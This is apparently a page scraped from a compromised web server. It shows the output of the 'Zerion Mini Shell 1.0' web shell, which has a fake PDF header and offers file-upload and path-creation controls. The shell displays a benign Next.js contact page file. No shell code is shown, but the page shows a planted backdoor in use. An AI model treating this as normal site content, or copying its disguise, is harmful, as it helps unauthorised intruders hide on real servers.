%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/var/www/html/pages/contact/
Upload File :
Create Path :
Current File : //proc/self/root/var/www/html/pages/contact/index.js

import Contact from "../../src/Components/Contact";
import CustomHead from "../../src/Components/Global/CustomHead";
function ContactPage({seo}) {

  return (
    <>
    <CustomHead data={seo} />
      <div>
        <Contact />
      </div>
    </>
  );
}

export async function getServerSideProps(ctx) {
  const seo = await fetch(
    `https://api.atvbuggy-dubrovnik.com/wp-json/wp/v2/pages?slug=contact`
  )
    .then((response) => response.json())
    .then((data) => data[0]);

  return {
    props: {
      seo: seo.yoast_head_json
    },
  };
}


export default ContactPage;

Zerion Mini Shell 1.0